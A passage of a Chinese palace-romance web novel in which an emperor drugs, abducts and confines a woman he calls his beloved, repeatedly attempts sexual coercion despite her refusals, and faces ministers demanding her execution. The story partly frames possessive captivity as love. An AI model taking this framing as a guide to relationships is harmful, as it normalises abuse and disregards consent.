见怀中小姑娘安稳睡过去,裴争轻柔地抚着她的侧脸,吻去她眼尾的泪水,甚至在她水润的唇瓣咬了一口。 三年不见,他对那处朝思暮想的唇,有控制不住的冲动,想狠狠吻她。 吻了一阵后,他才不舍移开,用冰冷的声音吩咐: “启程,回京。” * 三日后,皇宫,太极殿。 沈念意识渐渐回笼,却觉得身子沉得厉害,怎么也睁不开眼,直至闻到周围萦绕的檀香,她心中泛起强烈的恶心,当即惊醒。 见周遭已不是车舆内,而是皇宫,她的头还是晕乎乎的,回想起那日男人喂自己吃下迷药,而后强行带她回了宫。 许是她的声响过大,侍在殿外的宫女当即进殿,恭谨问:“娘娘醒了,可要用膳?” 那小宫女颤颤巍巍站在那里,很明显对沈念是害怕的,毕竟谁能想到死了三年的人,能突然活过来? 缓了几息后,沈念在宫女的搀扶下,走下榻,声音很冷:“我要见裴争!我要见他。” 宫女倒吸一口凉气,死去的人活了也就罢了,眼下竟然还敢口出狂言,直叫陛下名讳。 “这……娘娘,陛下正在御书房。” “我要见他!”沈念继续摔着东西,不顾宫女的劝说,“我要见裴争!” 她就是想发疯,被逼着回宫,无法冷静。 “好,好娘娘,奴婢知道,奴婢这便去请陛下。”宫女见自己劝不住,赶紧退下去请陛下。 宫女出去后,她也没放弃摔东西。 …… 裴争来时,正值沈念将案上最后的花瓶摔在他的脚边,瞬间四分五裂。 姚元德抢步上前,将帝王护在身后,“陛下小心!” 进殿后,见殿内的东西都被摔得粉碎,裴争皱起眉头,盯着沈念,淡淡吩咐了一声: “无妨,都给朕退下。”—— 作者有话说:卿卿:我要刀鼠你[可怜] 第58章 “无妨,都给朕退下。” 帝王一声令下,殿内的宫女们鱼贯而出,一旁的姚元德看了看沈念,又看了一眼帝王,暗暗叹口气,并悄然掩上殿门。 此时殿内只剩下他们二人,空气在一时之间陷入凝滞,谁都没开口说话。 一个站在案前因情绪激动而呼吸急促,一个立在那里神色莫辩,漆黑的眸子却如深不见底的寒潭。 几息后,裴争踢开地上的碎片,缓步迈向沈念。 见男人在步步靠近,沈念伸手拿起案前的茶盏,要砸过去时,却被他攥住手腕,轻易夺走,扔出去。 “咔嚓”一声响,茶盏被摔得四分五裂,同方才的花瓶一样。 “沈念,闹够了么?”他盯着她,捏住她的下颌,眼神虽凉,声音却低沉带笑:“若没够,朕陪你去别的殿,让你砸个痛快。” 沈念一把推开对方的手,并对上他的眼眸,此刻她能看出来他很恼怒,因她乱砸东西闹腾,可那又如何?她就是要他不得安宁。 “你放我离开!” 裴争脸色稍沉,“不可能。” 不可能,不可能…… 他还是不愿意放过她。 “裴争,你到底要我怎样?”沈念的手指无力地抓着衣角,忽然觉得自己很委屈,比三年前还要委屈,声音断断续续:“你总是如此无耻……裴争,我不是你的玩物,你不该把我囚在后宫供你玩弄,你放我离开。” 裴争将她拉入怀中,眯着她,唇角缓动:“卿卿,朕哪里有说过你是玩物?朕不会让你离开。” “你听不懂么?” 她说了那么多话,对方竟然就记住玩物两个字,沈念被他禁锢在怀中,紧紧相贴着,她恨不得凑到他的脖子上,咬死他, 最后,又无力地说了句:“你根本分不清什么爱,什么是占有。” “裴争,对于你来说,我只是一个玩物,而你对我的情感,是因为占有,你不过只是想占有我啊,可现在你这份占有已化作执念,可你身为一国之君,不该让占有欲作祟。” 准确来说,沈念根本不会信裴争会爱她,他就是一个天生凉薄之人,爱这个字从他口中说出来简直匪夷所思。 她认为裴争定是出于中情蛊时,两人有了男女之事,这就像是凶兽标记猎物,从潜意识里认为她是他的。 可是凶兽能爱上猎物么? 显然是,不可能。 所以,裴争的爱很离谱,他将占有错当成爱,苦苦折磨她许久。 不该再继续错下去。 “朕分得清,朕就是爱你。”裴争低声闷笑,眼神却凉了几分,“卿卿不爱朕么?还是爱上那个草包了?” 他盯着沈念,试图从她的眼神中摸索出一丝破绽,找到她已经爱上别人的破绽。 “……” 说着说着,那男人又将话头绕回她身上,甚至还扯上宋淮之,方才的一切就像是对牛弹琴,他没听懂半分。 “回答朕,你是不是爱宋淮之了?” 他揽着她腰肢的手臂更加用力,似要将她揉进身体里。 “你放开我!我爱他又如何?”腰肢宛若被藤蔓紧紧缠绕,逼得她喘不过气,沈念试图推开他的手,“你何必留着一个不爱你的女人?” 何必呢? 他身为帝王,只要轻轻一勾手指,天下万千少女皆会争先恐后上他的榻,成为他的女人。 何必又纠缠她一人不放? “你爱他,朕就杀了他,卿卿只能爱朕。”裴争的额头抵着她,气息灼热,“卿卿爱朕,只能爱朕。” 他虽在低笑,语气却凉得瘆人。 他何时变成一个彻头彻尾的疯子了? “你还想逼死我么?裴争!” 听到“死”这个字,裴争那段尘封了三年的记忆再次被唤醒,他得到沈念葬身火海的消息时,整个人似丢了魂一样麻木,空落落的,却又不知哪里空,那也是他第一次感受到何为心痛。 或者说他的心死了,在得知沈念还活着时,才彻底恢复跳动。 裴争并未回话,只是双眸越发猩红,最后拦腰将她抱起,放在榻上。 “滚开!”沈念挣扎,在看清他眼底不加掩饰的沉欲后,更加慌乱,语气颤抖:“你做什么?莫要碰我!” 裴争没理她的挣扎,靠近后俯身咬向她的锁骨,留下细密的齿印。 这般触碰到激起沈念身体无尽的酥麻与战栗,她想推开伏在她胸前的男人,却料推不动,只能捶打。 这时,裴争却忽地抬眸看向她,眸底欲色更加深沉,“继续打啊,卿卿,朕不想忍了。” 他不想忍了? 就要拉着她一起痛苦? “你滚开!你莫要碰我,我不行……” 无论如何沈念都抵不过,那男人也没理她不行,不能此类的话,只当都是她的托词,最后更加放肆,一点一点向上吻来,从锁骨到脖颈,留下一路暧昧的痕迹。 刺痛,酥麻, 更多的是窒息。 沈念揪着被褥,忍受着惧意缠绕心头,已无力到说不出任何话。 直到他要扯下她衣物时,殿外忽地传来宫女的禀告:“陛下,娘娘,小殿下前来求见。” 闻言,裴争的动作骤然一顿,没再继续下去,缓缓起身,整理龙袍,隐去眸底的欲色。 而榻上的沈念犹如重获新生,大口呼吸着,不忘骂:“混蛋……” 小殿下……若是没错,殿外的小殿下应就是昱儿,那个她只见过一眼,却是她怀胎十月生下的孩子。 而后她发觉自己实在狼狈,她趁机蜷缩起身子坐在榻上,理了理被弄乱得衣裙,并擦去唇上的口脂不管如何,绝不能让那孩子看到如此不堪的一幕x。 裴争将她的小动作尽收眼底,低声问,“卿卿,我们的昱儿来了,想见他么?” 他觉得此情此景很像,夫妻亲密时,被孩子撞见,而这种情形,只能在他与沈念之间发生。 “我——” 她想见么? 沈念咬着唇瓣,心口酸涩,没再继续说下去,三年,那孩子三岁了,她从未想过自己会有一个三岁大的孩子,更不知道自己该怎么面对他,毕竟在娘胎里时,她就曾几次三番想流掉他。 “传,” 裴争吩咐了一声,他自然明白榻上的小姑娘是想见的,母子分别三年,她又是那般心软,怎会不想见亲子? 一声令下后,殿门被人推开,沈念紧紧攥着拳头,抬眸望去。 只见逆着光走来一个小小的身影,锦衣玉带,步履蹒跚却努力保持着规矩,身上的玉佩随着走路轻轻摇晃。 “儿臣见过父皇。” 裴昱规矩行了一礼,然而一双清澈的眼睛却自始自终都怯生生黏在沈念身上。 而这时对上那真挚的眼神后,看清他的模样,眉眼之间像极了她,但那眼神却同裴争一模一样,是天生的上位者姿态。 沈念匆忙低下头,不敢再看他一眼。 她根本不知道该如何面对那孩子。 裴争此时也懂小昱儿的心思都在沈念身上,当即开口:“昱儿,去见过你娘亲。” 闻言,小团子眼睛一亮,当即迈着短小的步子跑向她,站定后,见沈念没看他,眼神一暗,接着,他把手心蹭了蹭衣物,又伸出去碰了碰沈念的拳头。 “我……我可以牵你的手么?” 裴昱的声音细弱且带着满满的期待。 本来沈念低着头没说话,可在感知到裴昱软乎乎的小手时,彻底击溃她心中所有的防线,沈念再也绷不住了,几乎是下意识牵住他的小手。 几番挣扎下,她才唤出那句,“昱儿……” 小裴昱得到安慰,当即扑到沈念怀中,哇的一声哭了起来,一遍遍唤着,“娘亲,娘亲,娘亲……” 小小的孩子扑到怀中哭泣,抱着她,唤她娘亲,此刻她也忘记三年前的痛苦,和对孩子的愧疚,泪水不停地涌出。 不比三年前,那时他不过是一个会哭的婴儿,眼下他却是一个会唤娘亲,会抱她的小人,自然能牵住她的心。 站在一旁的裴争见他们母子二人这般难舍难分,心底亦有一股暖流涌出。 这是他的女人,他的孩子, 一切刚刚好,谁也不能来破坏。 他并没有多说什么而是退出殿内,轻轻合上殿门。 沈念抱着裴昱哭了一会儿,那小团子便黏在她的怀中不撒开,抱着他说了好多好多的话,总之就是不能和她分开,唤了她数百次娘亲。 裴昱不愿意和她分开,沈念没办法,她想着,被孩子缠比被裴争缠,要好很多,最后只任着他,一同吃晚膳,又一同读书习字。 到了晚上时,昱儿又非吵着让她搂着讲故事,才肯入睡。 孩子都喜欢黏着娘亲,裴昱自打出生起也无娘亲作陪,如今好不容易得到娘亲,自然不愿意轻易撒手,恨不得时时刻刻黏在她身上。 沈念对他多有愧疚,他说什么,也都依着。 夜里,沈念一边讲故事,一边拍着身侧的裴昱入睡,没一会儿,孩子睡着了,她也昏昏欲睡。 裴争在御书房处理完奏折来到寝殿时,发觉周围静悄悄的,走进去后才看到沈念同昱儿躺在罗汉床上睡着了。 一大一小,睡得香甜。 那小崽子死死揪着沈念的衣襟,使她衣物滑落,已露出半边香肩。 见状,他缓缓挑眉,上前掰开昱儿的手,将他抱走送到殿外宫女的手中,并吩咐抱去偏殿歇息。 第59章 抱走昱儿后,裴争返回殿内,望着罗汉床上的小姑娘,乌发披散,倚在那里,身上搭着一条软绸锦黄薄被,上身被昱儿拽得露出香肩,肌肤雪嫩, 她的素手虚空抓着薄被一角,不知梦到什么,浓密的鸦睫轻颤着,活像一只可怜却无处可依的猫儿,让人心生怜悯。 窗子半掩,若是再睡下去恐要着凉,裴争唇角缓动,靠过去抱起沈念,却不料在他刚碰上她的腰肢时,怀中的人儿却醒了。 沈念见男人趁她睡着,要抱起她,心中怒气翻涌,“裴争,你放开我,想趁人之危么?” 她睡着,还要碰她? 男人根本没理她的话,顺势将她抱在怀中,“别动,朕抱你回榻上睡。” “不要,你放开我!”死命挣扎不过,沈念仰头对准他的脖颈咬上去,恨不得咬掉他的肉。 可男人就似感觉不到疼一样,动都没动一下。 裴争嗤笑一声,收紧手臂的力道,温温和和开口:“咬吧卿卿,一会儿去榻上继续咬。” 去榻上要做什么,不用想也知道,沈念心口翻涌,脸颊也因怒气染上绯红,“畜牲,混蛋。” 她一边骂,那男人一边笑, 她骂得越凶,他越开心。 沈念不由得认为他有病,得治。 正常人,挨骂还能笑得出来? 几息后,沈念被男人放在榻上,不出所料,他没有松开她的腰肢,靠过来,顺势欺身而上,哑声道:“卿卿,可以么?” 他记得沈念的话,爱她要尊重,那么他可以试着去尊重她的意愿。 沈念懂了他话的意思,当即推开他,“滚开!不可以!滚开!” 起初听到这话时,她微微愣住,因为她根本没想到对方竟然在问她,可以么? 此前她的态度已那般明确,他怎还能问出此话?她怎能愿意同他做那事? 裴争盯着她,慢慢挑眉,神情带着几分不解,“为什么?你明明已经接纳昱儿,卿卿,你不想让朕碰么?” 闻言,沈念不由得笑出声,可笑,很可笑……原来对方以为她接纳昱儿,也代表着接纳他。 她声音冷淡,毫不示弱:“裴争你以为我接受昱儿,就是在接受你?” 裴争脸色沉下去,“不是么?” 昱儿刚出生时,沈念对其确实带着几分厌恶,起初甚至还要利用男女之事流掉,可现在明显已有缓和,难道这不代表着,沈念也在接受他么? 沈念垂下眼睫,声音缥缈: “裴争,我接受昱儿是因为她是我的孩子,三年前,他还是个在腹中的胎儿,我因你对我的折磨厌恶他没错,可是我终归将他生下来,眼下孩子跑到我面前,哭着唤我娘亲,人非草木,孰能无情?何况母子连心,我无法看着他那般难过。” “可是,我不会原谅你,永远不会,更不会爱你。” “若是有机会,我还会跑,死也不会留在你身侧。” “我爱的只有宋淮之,我爱他。” 其实,她刚开始并不打算接受昱儿,毕竟他是那男人强逼着生下来的。 然而当孩子小心翼翼跑过来,哭着唤她娘亲时,让她不由得想到她六岁在江南,那个寒冷的夜,她抱着娘亲冰冷的身体,唤数百次娘亲也无人应答。 那般绝望,那般痛苦, 她的心软下来。 她可以接纳昱儿,但绝不会原谅裴争。 “不,卿卿,你爱朕,你是爱朕的,”小姑娘的话似锋利的刀子刺入心脏,裴争疯魔一般,脸贴向上她的脸,大手扯去她身上的衣物,“你爱朕,卿卿只能爱朕。” 沈念挣扎,脸色不由得有些发白,“裴争,你就是个畜牲,我死也不会爱你。” “朕怎么舍得你死呢?就算是死,朕也不会放过你。”裴争低低地笑了起来,“卿卿最好只爱朕,否则朕会发疯,那样就会做出意想不到的事。” “朕劝你也不要逃,不要寻死觅活。” “你滚,我不想看到你。”沈念知道他口中所说,意想不到的事是什么,依他的性子,无非是又威胁她,“你这么做只会让我更加恨你。” 裴争唇角噙笑,垂眼眯着她,“恨吧,恨朕吧,恨也是出于爱,不是么?” “……” 沈念没再说话了,径直别开头,她怎能企图跟一个疯子讲清楚道理? 他已然疯魔,怕是一定要折磨她。 然而男人并不愿意让她别开头,反而捏住她的下颌扳过,非让她看着他。 就这样,沈念被迫看着他解开腰封,要贴过来时,她趁机拔出头上的簪子,抵在他的胸口,威胁:“你莫要过来,再过来我就杀了你!” 她并未以自己的命威胁,是因觉得,若是不小心弄伤自己,为这男人弄伤自己,不值得。 小姑娘的手微微颤抖着,显然拿不住簪子,就像x一只被逼急了的兔子,虚张声势威胁。 裴争没躲,手摸着她的腰肢,再贴近,笑了几声:“卿卿要杀朕?想杀朕就刺过来,死在卿卿的榻上,朕愿意。” “只是,卿卿舍得么?” 疯子,疯子, 沈念在心中骂了他一百遍疯子。 接着,那男人的手摸上她的衣带,扯开,沈念没松开手,心底的那股恐惧与委屈,驱使着她刺过去。 几番挣扎,最终她用力,刺向对方的胸口。 随后,发簪刺入胸口,血水瞬间洇染男人身上的里衣,并顺着簪子一滴一滴,落在沈念的衣裙上。 疼痛袭来,裴争愣住,他没想到沈念会真的对他动了杀心,刺过来。 “沈念,你真的想杀朕?” 她松开手,浑身止不住地抖着,声音发颤:“是你逼我的,都是你逼我的……” 血滴落在她衣裙,发簪所刺的伤口不算深,但会很疼的,沈念以为他会就此气急败坏离开,毕竟她是真的对他动了手,想杀了他。 她知晓,这是他的底线, 眼下,她再次触碰。 然,令她没想到的是,那男人只是盯着她,低头闷笑几声后,当着她的面,拔出胸口的发簪,因疼,他不由得嘶了一声,最后用手把发簪一点一点擦干净,戴回她的头上。 “卿卿,别再拒绝朕,三年了……朕无时无刻不想拥有你。” “朕想碰你。” 接着,裴争靠过去,闭着眼贪婪地嗅着她身上那股淡淡的梅香,畅快,满足,他只想拥有。 “你疯了?”沈念看着男人眼底愈发猩红,且涌动着几分病态的暗芒,很快解开衣物,赤着上身,伤口还留着血。 血腥味浓烈,沈念忍住恶心,后背贴着床柱,“你莫要过来!” 他越靠近,她便越窒息。 裴争哪里还能听进去她的话,正当压过来时,身下的沈念只觉一股强烈的窒息扼制喉咙,最终晕过去。 小姑娘没了声息,躺在榻上一动不动。 “沈念?”见状,裴争停下所有动作,猛地抬头,朝殿外吩咐:“传太医!快传太医!” * 王太医来时,寝殿混乱不堪,血腥味弥漫在空气中,帝王披着一件外衣站在殿内,面上毫无血色,拿着帕子按着胸前。 走近后,王太医才瞧见他胸口受伤,有一瞬间慌乱,急急问:“陛、陛下!快让臣看伤势如何?” 裴争抬手制止他,冷声吩咐:“去,快去看榻上的皇后。” 太医虽心中有疑却仍依命上前,给榻上的沈念诊脉,片刻后,他伏在地上,回禀:“陛下,娘娘并天大碍,只是脉象不稳,似是惊吓过度。” “惊吓过度?”裴争“呵”了一声,自言自语:“朕就那么让她害怕?” 他是吃人的怪物么?竟然能给她吓晕过去,这时他想起在江南那夜,沈念也很抗拒他,尤是他亲近时,她便晕过去。 思及此,他不由得好奇问:“王太医,为何朕在亲近她时,她总会晕倒,或者感到很痛苦?” “这……陛下,娘娘这是惊恐症,怕是陛下在……给娘娘留下伤害,致使……”王太医没再继续说下去,惊恐一症,明眼人自然一点就通,能明白是因为留下不可磨灭的伤害,才会如此怕。 “那朕,不能再亲近她了?”裴争眼神稍黯,明显不虞,“竭尽全力,把娘娘治好?” “是!臣这便去开药。”要退下时,王太医想起帝王身上的伤,再度开口:“陛下,可否让臣看看身上的伤?” 裴争方才发觉自己身上的伤,移开帕子,伤口不大,却已红肿起来,还在渗血。 王太医处理完退下后,殿内恢复平静。 裴争坐回榻上,凝视着面色苍白的沈念,即使在昏迷中,仍紧皱眉头。 “为何……你为何对朕惧怕至此?” 他是否真的错了?竟能将她吓到出现阴影,恐惧他的触碰。 他这一生骄傲自负,鲜少会认为自己有错,就连用自己的方式爱沈念,他也认为没错,甚至学着去爱。 一介帝王,能为她做到如此地步,还想怎么样? 但,当得知她已怕他怕到患上惊恐症,他心底那道弦仿若一瞬间崩塌。 几息后,沈念悠悠醒来,见男人还没离开,她背过身去,不想看他一眼。 裴争知她醒来,良久方才道话,“为何不同朕说?” 沈念没答话,不知道他在问什么, 只当他胡言乱语。 “说话,”裴争语气柔下去,再度开口:“朕问你,害怕朕碰你,为何不说?” 被逼问至此,沈念终于开口,声音轻得像一缕快要消散的烟,“说了有用么?” 她拒绝多次,无论怎么拒绝都没有用,他若是铁了心碰她,估计就算她晕过去,他也会继续碰。 男人淡淡地笑,“自然有用,朕有那么不是人?不顾忌你的身子?嗯?” 沈念用手堵住耳朵,当即回了句: “你会,别再说了,闭嘴。” 她根本懒得听他的解释,全部是虚情假意。 裴争靠近,拿下她耳边的手,并扳过她的身子,迫使她看着他,开口道:“卿卿,你为何不愿相信朕爱你?” “朕知道错了,朕都改,你能不能别怕朕?” “卿卿,朕爱你,真的爱你……” 第60章 “卿卿,朕爱你,真的爱你……” “你说朕哪里不对,朕会听。” 男人捏着她的双肩,榻上的沈念被迫与他对视,烛火映照下,她看清他黑眸里光点稀疏破碎,格外消沉,像一件被拉下神坛的物品。 他喉结浅浅滑动,声音很轻。 恍惚间,沈念有了种错觉。 她是看错了么? 她竟看到对方眼底蕴着复杂的情绪,相比于欲色,这种情绪更加隐晦不明。 有那么一瞬间,她竟觉得眼前的男人真的爱她,他口中说的爱,是真的。 他爱她—— 他竟然真的爱她。 思虑清楚后,沈念忽觉自己已然凌驾于上位者之上,更多几分筹码。不过,只片刻她便打消所有想法。 他是谁?是帝王,是裴争。 是那个曾把她玩弄于股掌中,只三言两语可以夺走她的一切,甚至要了她的命。 且强夺她入宫,威胁,囚禁,逼迫生孩子……种种恶行,罄竹难书,对她的伤害,不可磨灭。 深深刻在记忆深处,永远不会忘, 永远。 所以,他的爱,能是爱么? 简直可笑,或者说,他完全是在感动自己。 她轻轻地笑了一声,双眸透着冰冷,“裴争,你爱我啊。” 一个疯子,在跟她谈爱, 可笑。 裴争脸色沉下来,见小姑娘虽是笑着的,但神情却肉眼可见的冷淡,就是在敷衍,更是完全不在乎。 或者说,她根本没信他的话。 他继续道: “朕爱你,你终有一天也会爱朕。” “卿卿,朕离不开你,只要离开你,朕就会想你想到发疯。” “你越推开朕,朕便越难以自拔,越想拥有你。” 沈念偏过头去,心口翻涌,“我不爱你。” “你会爱朕的,”裴争的唇凑到她的耳边,嘴角噙着笑,小声道了句别的。 不堪的话入耳,沈念一把推开他,心中怒气一层接着一层,“你……你听不懂么?疯子,我不会爱你,鬼才会爱你。” “你出去,我想安静一会儿,快出去!” 见小姑娘面色涨红,耳尖更是红得要滴血,裴争心中不由得感到几分畅快,垂着眼睛眯着她,唇角缓动。 临走时,他再度开口,声音虽轻却带着不容拒绝的帝王气势, “卿卿,别再闹腾,别再挑战朕的底线。” “嗯,” “好好待在宫里,待在朕的身侧,陪陪昱儿。” “嗯,” 无论裴争说什么,沈念都轻轻嗯声,听到最后她觉得烦心,便将被襟盖在头上,她累了,不想同他再起口舌之争,她累了。 最终那男人没再说什么,转身而离去。 接下来的日子里,沈念起初没放弃逃跑的念头,只是计划还没开始,就因宫规的森严而感到深深的无力。 不过她确信,一定会有机会,她要等着那时机的到来。 后来折腾累了,她干脆待在殿内,白日里昱儿会来陪她用膳,拉着她到处游玩,夜里裴争会来,但并不会对她做什么,最多出格的也只是吻,而只要她说一句不舒服,他便会立刻停止。 进了腊月,大雪纷飞,纷纷扬扬洒落,只一夜之间,到处变得一片雪白。 天冷起来,沈念因当初生下昱儿后,在月子里受了寒,自那以后很怕冷。 是以,落雪x后她只在寝殿中,只是没想到,她竟再次被裴争没有任何原因囚在殿中,就连身侧的婢女也被无声无息换了一批,且婢女们总会窃窃私语,但见到她后又立刻噤声。 定是裴争特意吩咐的, 她再一次成为那男人的笼中雀。 三年前痛苦的回忆涌上心头,她脚下倏软,身体不自觉发抖,将自己蜷缩在榻上,一言不发,不吃不喝。 直到夜里,那男人来时,她淡淡问了一句,“混蛋,你为何又把我困在殿中?不让我出去?” 她直接将话挑明,并没有耐心同他多说什么。 裴争解开身上的绒氅扔在一旁,缓步过来坐到她身侧。他自然知晓她为什么生气,开始搓着手中的玉扳指,慢慢敛眉,“卿卿生气了?嗯?” 生气, 她快要气死了! 不明显么? 哪个正常人愿意被囚在寝殿,像个犯人一样。 沈念捏住颤抖的手,恶狠狠盯着那男人,咬牙开口:“裴争,你为何囚我在殿内?” 为何又要像三年前那般玩弄她? “朕自有道理,”裴争没再继续说这件事,又道了别的话,“卿卿,朕听昱儿说,你——” 沈念抬手打向他的脸,没让步,“放我出去!” 她可以因为自己怕寒,不出寝殿半步,但绝对不能是因为裴争被囚在殿内不出去。 绝对不能。 “不可能,此事没得商量,朕在护你。”裴争擒住她的手腕,俯身朝她靠过去,温和道:“卿卿,三个月了,你好了么?” 这三个月以来,小姑娘很听话,不哭不闹,而她越是这样,他反而越觉得她在背地里谋划着,有一日还会逃出去。 “我没好,别碰我。” 榻上的沈念试图转过身,不想看裴争,往日同他躺在一起,总会涌出莫名的恨,可是时间久了,她累了,就变成了淡淡的……死感。 什么都淡淡的, 这宫中就像一座牢笼,困住她,没有自由。 裴争没听她的话,愈发靠近吻向她的脖颈,见她没太大反应,又一点一点吻向肩头,扯去她的衣物,低笑:“嘶……卿卿怎能骗朕?太医说你早已痊愈,让朕试试?嗯?” “我不行,想要去找别的女人给你解决。” 沈念不想搭理他,拽着自己被解开的衣物不松手,他扯她拉,不让衣物掉落半分,且无论男人如何亲吻爱抚,她都极力克制,如木头般毫无反应。 “朕只有你一个女人,”裴争咬了一口她的肩头,“朕的身子只会对你有反应。” 沈念用另只手捂住耳朵,不想听他无耻的话,三年不见,他在这方面的本领倒是渐长,甚至更上一筹。 随后,身后的男人轻笑一声后,没再继续,沈念当他良心发现,终于不再逼她做那事。 然而就在她快要入睡时,身后却传来一阵细细碎碎的声响,且带着沉重的喘息声。 “……” 声音越来越大。 沈念最终没忍住,回头不悦道:“你能安静些么?” “卿卿不帮朕,那朕只有自己解决,声音很大么?” “那朕快点,别扰卿卿睡觉。” 他的话拖着长长的腔调,甚至带着几分嘻皮笑脸,意味深长地看了她许久。 “裴争,你——” 沈念一时想不出话回他,最后只好远离,用手捂住耳朵入睡。 不知过了多久,裴争方才结束动作,瞧着身侧的美人已安稳入睡,这三个月她没再闹腾,安安稳稳待在他身侧。 这反而让他的心中像是悬着一块石头,落不了地,也松不了劲。 她真的会一辈子留在他身侧么? 思罢,他贴过去,嗅着她里衣的味道,又勾起刚刚平息的燥热,最后她忍住心底的冲动,缓缓睡过去。 * 翌日,裴争在太极殿穿朝服,准备上朝时,身侧的长戈小心翼翼上前禀告:“陛下……属下无能,仍未查出到底是何人散播的谣言,且眼下谣言越传越凶,恐怕今日早朝……朝臣不会善罢甘休。” 其实,皇后娘娘死而复生本就是怪事,即使裴争有心遮掩,可无奈人多口杂,这三个月以来此事越传越离谱,而今甚至有传出皇后并非南疆公主,而是沈国公的庶长女,沈念。 传言起,一时之间传遍京城,君夺臣妻,圣上失德,这类言论,怎么也压制不住,就像是有人故意为之,而裴争却查不出到底是何人散播。 因此,沈念被认成是祸国殃民的妖女。 裴争眉间戾色一闪而过,只吩咐道:“继续查。” 他一定要查出到底是何人胆大妄为,他分明已将沈念藏得严严实实的,不可能会传出去。 几息后,裴争坐上步辇前去勤政殿上朝,入大殿后,随着姚元德的一声“陛下驾到!”一众朝臣皆俯身行礼。 礼毕,他淡淡扫视众大臣,没什么情绪。 大殿内一时陷入凝滞,鸦雀无声。 良久,他主动开了口:“众爱卿可有事禀告,若是无事,便退朝。” 这时,一位大臣走上前,行礼:“陛下!京城内现今谣言四起,臣恳请陛下给百姓一个交代。” “嗯?爱卿想要朕给一个什么交代?”裴争慢慢挑眉,语气却是平静至极,“说来听听。” 大臣犹豫了一瞬,而后跪在地上,以头磕地,“陛下,臣斗胆求陛下处死妖后,给天下万民一个交代,为江山社稷着想!” 说罢,大臣们皆跪在地上, “臣等求陛下处死妖后!还社稷安宁!” “求陛下处死妖后!” “求陛下不要再一错再错!” 他们都在逼裴争处死沈念, 无一例外。 听着殿内一声声哀求,龙椅上的那位帝王一双幽潭般的眸子微微眯起,周身透着无形的压迫,逼得所有人喘不过。 声音平息后,良久,裴争嗤笑出声,“依你们的意思,朕该处死皇后?”《 》 60-70 第61章 “依你们的意思,朕该处死皇后?” 朝堂之上,帝王睥睨着一众朝臣,语气平静,却蕴着无尽的冰冷, “你们都在教朕做事?都活腻了?敢挑衅朕?” “都给朕闭嘴,” 他是帝王,一切都应在他的掌控之中,沈念,朝臣……所有都应该尽在掌握,而非眼下这般,失控。 出头的老臣泪涕横流,脱下头上的官帽,伏在地上,“陛下,臣惶恐,这并非是臣等逼迫陛下啊!自皇后沈氏死而复生后,北方大汗,南方涝灾,民间皆传乃是妖后动摇国本。 若是陛下执意护着那妖后,臣唯有以死谏求陛下处死妖后,黄泉之下,老臣才对得起先皇所托!” 说罢,大臣便要冲到龙柱上,却被一旁的大臣阻拦,接着哀求声更甚, “求陛下处死妖后!” 听着群臣的抗议,裴争脸色瞬间沉下来,额头上的青筋隐隐跳动,“死”与“妖后”落入耳中,就如同在说,处死沈念,处死沈念…… 他神色愤怒,双眸愈发猩红, “闭嘴!都给朕闭嘴!” “都想死么?” 而后他站起身,抽出龙椅旁的帝王剑扔在大殿下,轻呵了一声,“想死的,给朕去死,朕绝不会阻拦。” 他很厌恶被人威胁,这世上除了沈念,还没有任何人能威胁他。 看着帝王剑被扔在身前,为首的大臣身形一晃,他没想到帝王已疯癫至此,竟然不顾一切也要护着那妖后。 他再次跪在地上磕头,哀求:“陛下!莫要一错再错啊!陛下!” “都给朕滚。” 说出此话后,裴争转身离开大殿,行到半路时,沈念与处死萦绕在心头,想到她假死后,那种窒息般的心痛。 这时他忽觉心脏猛地一缩,仿若被一只大手扼制住,再次迈步时,他身体本能地向后倒去,四肢麻木,渐渐失去意识。 耳畔残留着姚元德的哭喊,“陛下!快传太医!陛下!” 帝王昏迷了三日,这期间,大臣们没罢休,接连上奏要处死妖后,给天下万民一个交代。 一时之间,民怨滔天, 尽管裴争再怎么想不让沈念知晓,消息还是如同暗流般传到后宫,传到她的寝殿。 这日,沈念倚在窗边的软榻上看书,尽管殿内的炭火烧得很旺,可她却因体寒,仍觉得有些冷,当即对着身侧低着头的小宫女吩咐道:“去换盏热茶来。” 闻言,身侧宫女身子晃了晃,慌乱应下此事,片刻后,她端来茶盏,小心翼翼递过来。 然而,就在沈念伸出手去接时,小宫女却忽地松开手。 下一时,茶盏掉落在地,摔得粉碎,杯中热茶洒落在沈念的衣襟上,她被烫得吃痛嘶了一声。 身侧宫女瞬间瘫坐在地,磕头求饶:“娘娘恕罪!娘娘恕罪!奴婢不是故意的,求娘娘莫要处死奴婢!” 眼前的小x宫女伏在地上,浑身抖得厉害,见状,沈念皱起眉头,她平日里待宫女侍卫一向宽和,从不会刻意刁难,何至于让这小宫女这般怕她? 这时,她又回想起这段时日,殿内宫女看她的神情很不对,躲躲闪闪,并带着几分害怕,就像是看到鬼一样。 心中疑惑未解,她沉下声音,问道:“你为何这般害怕我?” 小宫女摇着头,颤颤巍巍回话:“奴、奴婢不怕娘娘,奴婢怎会怕娘娘?” 宫女的脸上已毫无血色, 显然,没说实话。 沈念盯着她,继续追问:“说实话,不然我就让人将你送去掖庭!到时就不是打你几个板子那样简单了。” 听此,小宫女显然怕到极致,跪在地上连连磕头哀求,声音带着哭腔:“娘娘!不要啊娘娘!” “说实话,我不会罚你。” 小宫女最终经不住吓,将一切都说了出来,“娘娘……奴婢并不是故意的,只是眼下都在传,说娘娘死而复生,是已死之人,借尸还魂,是不折不扣的妖女,还说娘娘是沈国公府的姑娘,回来祸乱朝纲,大臣们都在逼着陛下对娘娘……奴婢一时胆小失仪,望娘娘恕罪,不要送奴婢去掖庭。” 闻言,沈念心下一沉,明白了一切,原来是她的身份和死而复身的消息传了出去,所有人都认为她是妖异,大臣们都在逼着裴争处置她。 思绪纷乱时,她却想到,自己能否利用妖后传言,顺水推舟得到出宫的机会,彻底逃离裴争呢? 这绝对是一个千载难逢的机遇。 最后,她面上平静,挥了挥手,淡淡吩咐:“下去吧,今日之事莫要传出去。” 小宫女如蒙大赦,快步退了出去,此时殿内只剩下沈念一个人,内心却许久未归于平静。 她一定要抓住此次机会,出宫, 一定要。 后来一连数日,裴争都没有来,只有昱儿时常带着好玩的物件,吃食来看她,昱儿很知分寸,从不会在她面前提到父皇,懂事到让她觉得,这孩子根本不是裴争的。 除了那双眼眸,剩下哪哪都不像。 …… 直到五日后的夜里,殿外不知何时又下起纷纷扬扬的雪,她以为裴争还不会来。 沈念推开窗子望去,见殿外白茫茫一切,积雪压弯枝头,掉下来,发出沉甸甸的声响。 她伸出手,任窗外的雪花落在手心,冰冰凉凉的,反倒让她纷乱的思绪平静下来。 几息后,她关上窗子,却没吹灭烛火,平静地躺回榻上。 